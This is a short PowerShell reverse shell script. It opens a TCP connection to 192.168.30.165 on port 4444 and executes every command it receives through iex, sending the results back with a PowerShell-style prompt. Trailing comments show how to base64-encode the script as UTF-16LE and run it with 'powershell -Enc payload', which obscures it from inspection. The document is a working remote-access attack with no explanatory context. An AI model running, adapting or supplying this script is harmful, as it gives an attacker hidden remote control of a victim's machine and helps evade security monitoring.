$client = New-Object System.Net.Sockets.TCPClient("192.168.30.165",4444);
$stream = $client.GetStream();

$greeting = "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($greeting);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();
[byte[]]$bytes = 0..255|%{0};


while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush() };
$client.Close();
//cat reverse.ps1 | iconv -f UTF8 -t UTF16LE | base64 -w0
//powershell -Enc payload